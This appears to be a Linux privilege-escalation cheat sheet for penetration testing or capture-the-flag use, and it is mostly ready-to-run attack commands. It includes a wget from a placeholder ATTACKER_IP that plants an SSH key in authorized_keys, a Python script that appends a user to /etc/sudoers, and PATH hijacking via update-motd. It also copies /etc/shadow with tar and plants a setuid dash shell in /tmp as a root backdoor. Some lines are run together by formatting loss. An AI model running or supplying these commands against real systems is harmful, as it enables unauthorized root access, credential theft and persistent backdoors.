# Search for a binary privesc
python3 gtfo -b systemctl
Recon and Enumeration
# Look for strange process
ps aux
# Look for setuid programs (everyone can run them as root)
find / -perm -4000
# Example, if perl
perl -e ‘$ENV{PATH}="/usr/bin";system("whoami");’ → root
# List processes running as root, permissions and NFS exportsecho'services running as root'; ps aux | grep root;echo'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++';echo'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null
# Get a TTY shell after a reverse shell connection
python -c 'import pty;pty.spawn("/bin/bash")'# Set PATH TERM and SHELL if they're missingexportPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
exportTERM=xterm
exportSHELL=bash
Tricks
Public Keys / SSH
# Add public key to authorized keysecho$(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authorized_keys
# if RSA key is added for 127.0.0.1 you can switch users
ssh -i id_rsa root@127.0.0.1
Python sudoers
# Add an user to sudoers in python#!/usr/bin/env python
import os
import sys
try:
os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
sys.exit()
SSH update-motd
# When you login from SSH, welcome message etc are executed from /etc/update-motd.d# Even if you connect in user, scripts are executed with root privileges# If you can write here or in another folder in the PATH, you can force execution# By redifining "date" or "uname" for example# Example, if you can write to /usr/local/bin you can create a backdoored binary here# If the folder is first in the PATH, the backdoored one will be executed first.
# listinfo through date binarycd /tmp
echo"/bin/sh" > date
chmod 777 date
echo$PATHexportPATH=/tmp:$PATH
/usr/bin/listinfo
Chrootkit
# Chrootkit
chrootkit -V
# Then Google / MSF
Capabilities
# CapabilitiesexportPATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
getcap -r / 2>/dev/null
# TAR can read all files, so you can create a tar with a wanted file and than extract it
tar -cvf shadow.tar "/etc/shadow"
tar -xvf shadow.tar
cat etc/shadow
# /bin/dash is the only shell to keep the sticky bit, so if you run as root (included cron, or services running as root):
install -mode 4755 /bin/dash /tmp/sh
# Then you will have a /tmp/sh that gives any user who calls it root !